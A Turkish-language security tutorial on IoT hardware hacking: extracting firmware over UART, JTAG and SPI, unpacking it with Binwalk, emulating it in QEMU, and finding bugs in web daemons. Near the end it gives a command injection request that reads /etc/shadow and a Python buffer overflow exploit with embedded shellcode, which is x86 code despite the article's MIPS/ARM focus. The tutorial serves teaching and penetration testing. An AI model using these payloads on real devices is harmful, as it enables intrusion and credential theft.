Akıllı Cihazların Mutfak Kısmı: UART/JTAG ile Firmware Çıkarımı ve Zafiyet Analizi
Donanım arayüzlerinden veri çıkarımı, QEMU ile mimari emülasyon ve web daemon üzerinde zafiyet analizi
IoT cihazlarının güvenliği yazılım katmanında başlamaz. Bu yazıda donanım arayüzlerinden (UART/JTAG/SPI) firmware çıkarımını, imajın Binwalk ile ayrıştırılmasını, QEMU ile mimari çapraz emülasyonu (MIPS/ARM) ve ayağa kaldırılan web servislerindeki zafiyet (Command Injection, Buffer Overflow) analizini uçtan uca inceliyoruz.
Giriş
Şunu biliyor muydun? Bir router veya akıllı kameranın web arayüzünde hiçbir zafiyet bulamasanız bile, PCB üzerindeki dört ufak pin, size sistemin kalbine inen root yetkili bir terminalin kapılarını sonuna kadar açabilir.
Geleneksel ağ tabanlı sızma testleri, gömülü sistemlerin (embedded systems) analizinde sadece buzdağının görünen yüzüne odaklanır. Cihazın yönetim paneline dışarıdan saldırmak yerine, doğrudan donanım seviyesine inerek cihazın hafızasını kopyalamak, dosya sistemini tersine çevirmek ve sistemi sanal bir ortamda emüle etmek, sıfırıncı gün (zero-day) zafiyetlerinin tespiti için tek kesin yoldur. Bu makalede, bir IoT cihazının PCB’sinden başlayarak bellek taşması zafiyetlerinin istismarına kadar uzanan derin mühendislik zincirini uçtan uca söküyoruz.
Fiziksel Katman Analizi ve Donanım Arayüzlerinden Veri Çıkarımı
Gömülü sistem sızma testlerinde ilk adım, sistem çipinin (SoC) dış dünyayla haberleştiği hata ayıklama (debug) portlarının keşfidir.
UART Pinlerinin Tespiti ve Shell Elde Etme
UART arayüzünü oluşturan dört temel pin (GND, TX, RX, VCC) genellikle kart üzerinde 4’lü pin delikleri (header) olarak bulunur. GND pinini bulmak için multimetre süreklilik (continuity) moduna alınır. Multimetrenin bir probu kart üzerindeki metal bir yuvaya veya büyük bir kapasitörün eksi kutbuna değdirilirken, diğer prob pinler üzerinde gezdirilir. Bip sesi çıkaran pin GND’dir. VCC pinini bulmak için cihaz çalışırken GND ile diğer pinler arasındaki voltaj ölçülür; sabit 3.3V veya 5V veren pin VCC’dir. Kalan iki pinden voltajı dalgalanan TX, diğeri ise RX pinidir.
Baud rate (sinyal hızı) tespiti için bir lojik analizör kullanılarak TX pinindeki sinyalin en kısa bit süresi (bit duration) ölçülür. Örneğin, 8.68 mikrosaniyelik bir bit süresi 1/0.00000868 hesaplaması ile 115200 baud oranına karşılık gelir.
USB-TTL dönüştürücü ile bilgisayara bağlandıktan sonra kök dizine erişmek için terminal üzerinden iletişim başlatılır:
screen /dev/ttyUSB0 115200
JTAG Tespiti ve İşlemci Seviyesine İniş
JTAG arayüzü, işlemcinin register seviyesine kadar inilmesine olanak tanır. Genellikle 10 veya 20 pinli dizilimler halinde bulunur. JTAG adaptörü bağlandıktan sonra OpenOCD konfigürasyon dosyası kullanılarak işlemci halt edilir ve bellek okunur:
openocd -f interface/jtagkey.cfg -f target/ath79.cfg
telnet 127.0.0.1 4444
halt
dump_image firmware.bin 0xbf000000 0x800000
SPI Flash Üzerinden Doğrudan Çıkarım (Hardware Dumping)
Eğer UART ve JTAG arayüzleri üretim aşamasında kapatılmışsa, cihazın işletim sistemi ve dosya sisteminin bulunduğu SPI Flash entegresine doğrudan müdahale edilmelidir. SOP8 klipsi kullanılarak entegre sökülmeden CH341A veya Bus Pirate gibi donanımlarla bacaklara bağlanılır.
flashrom -p ch341a_spi -r flash_dump.bin
Firmware Ayrıştırma ve Dosya Sistemi (Filesystem) Analizi
Donanımdan çekilen ham dosyanın analizi, dosya içindeki imzaların tespiti ile başlar.
Magic Bytes ve Binwalk
Gömülü dosya sistemleri (SquashFS, CramFS, JFFS2) kendilerine özgü “magic bytes” başlıklarına (header) sahiptir. Binwalk aracı, dosya içerisindeki bu byte desenlerini tarayarak işletim sistemi bileşenlerini (bootloader, kernel, filesystem) haritalandırır ve çıkartır.
binwalk -e flash_dump.bin
Entropi Analizi ve Şifreli İmajlar
Cihaz üreticileri firmware dosyalarını şifreleyebilir. Şifrelenmiş veriler yüksek entropi değerine sahip oldukları için tamamen rastgele görünürler.
binwalk -E flash_dump.bin
Entropi analizinde düz bir tepe çizgisi verinin şifrelendiğini veya sıkıştırıldığını gösterir. Şifre çözme işlemi için, çoğunlukla şifrelenmemiş halde olan U-Boot (bootloader) içerisindeki decrypt rutinleri veya çevresel değişkenlerde saklanan AES anahtarları aranır.
Mimari Çapraz Emülasyon (MIPS/ARM to x86 via QEMU)
Donanımı bir kenara bırakıp sadece elde ettiğimiz dosya sistemi üzerinden güvenlik analizi yapmak için donanım mimarisi emüle edilmelidir. IoT cihazlarının geneli MIPS veya ARM mimarisini kullandığından, bu ikili dosyalar doğrudan x86 bir Linux makinede çalıştırılamaz.
qemu-user-static ve Chroot
Çıkartılan dosya sistemindeki binary dosyaları çalıştırabilmek için QEMU statik binary’si dosya sisteminin kök dizinine kopyalanır ve chroot işlemi gerçekleştirilir.
cp /usr/bin/qemu-mips-static squashfs-root/usr/bin/
sudo chroot squashfs-root /bin/sh
QEMU System Emulation ve Ağ Köprüleme
Web sunucusu veya SSH gibi servisler cihazın donanım donanımlarıyla iletişim kurmak istediğinde kullanıcı seviyesi emülasyon çökecektir. Bu durumda QEMU sistem seviyesi emülasyonu kullanılır. Servislerin ana bilgisayardan erişilebilir olması için sanal bir ağ köprüsü yapılandırılmalıdır.
brctl addbr virbr0
ifconfig virbr0 192.168.1.1 up
tunctl -t tap0
ifconfig tap0 up
brctl addif virbr0 tap0
Daha sonra sistem emülasyonu uygun ağ parametreleriyle başlatılır:
qemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda rootfs.ext2 -append "root=/dev/sda1 console=ttyS0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
Web Daemon (uhttpd/httpd/boa) Üzerinde Ofansif Analiz ve Zafiyet Keşfi
Cihazın yönetim paneli, QEMU ağ yapılandırması tamamlandıktan sonra host bilgisayarın tarayıcısı üzerinden incelenebilir hale gelir. Arka planda çalışan web sunucusu decompile edilerek kod içindeki güvenlik açıkları tespit edilir.
Ghidra ile Decompile İşlemi
uhttpd veya boa isimli web sunucu ikili dosyası Ghidra gibi bir araca yüklenir. MIPS/ARM makine kodları pseudo-C koduna çevrilerek kullanıcı girdilerinin doğrulama aşamaları izlenir.
Komut Enjeksiyonu (Command Injection) İstismarı
Eğer HTTP üzerinden alınan bir parametre, zafiyetli bir biçimde doğrulanmadan sistem çağrılarına aktarılıyorsa bu bir komut enjeksiyonu açığıdır. Örneğin, system() veya popen() fonksiyonlarına paslanan bir ping aracının IP parametresi kontrol edilmediğinde, aşağıdaki gibi bir istek işletim sistemi seviyesinde çalıştırılabilir:
curl -X POST http://192.168.1.100/cgi-bin/ping.cgi -d "ip=127.0.0.1;cat /etc/shadow"
Bellek Taşması (Buffer Overflow)
C dili ile yazılan eski web daemon yapılarında strcpy(), strcat() veya sprintf() gibi güvenlik sınırları kontrolü olmayan fonksiyonların kullanımı stack tabanlı bellek taşmalarına yol açar. Gelen uzun bir HTTP başlığı Return Address’i ezerek yürütme akışını ele geçirir.
import socket
import struct
target_ip = "192.168.1.100"
target_port = 80
padding = b"A" * 1024
ret_address = struct.pack("<I", 0x40871234)
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
payload = padding + ret_address + shellcode
http_request = b"GET / HTTP/1.1\r\n"
http_request += b"Host: " + payload + b"\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.send(http_request)
s.close()
Sonuç
Gömülü sistem sızma testleri, basit zafiyet tarayıcılarının çok ötesinde multidisipliner bir yaklaşım gerektirir:
- Cihazın UART, JTAG ve SPI gibi fiziksel portları, sistemin güvenliğine açılan ilk ve en tehlikeli arka kapılardır.
- Şifreli yazılımlar sadece geçici bir engeldir; bootloader veya çevresel değişkenler daima kriptografik anahtarları barındırır.
- QEMU aracılığıyla mimari emülasyon, donanımdan bağımsız bir analiz ortamı sunarak zafiyet tespiti için hayati önem taşır.
- Tersine mühendislik ile elde edilen kaynak kod analizleri, komut enjeksiyonu ve bellek taşması gibi kritik zafiyetlerin tespit edilip sömürülmesine doğrudan zemin hazırlar.
Kaynakça
Sen de yaz, arşivde yerini al
AltaySec Arşiv'e katkı ver — uzmanlığını Türkçe siber güvenlik literatürüne kat.
Yazar Ol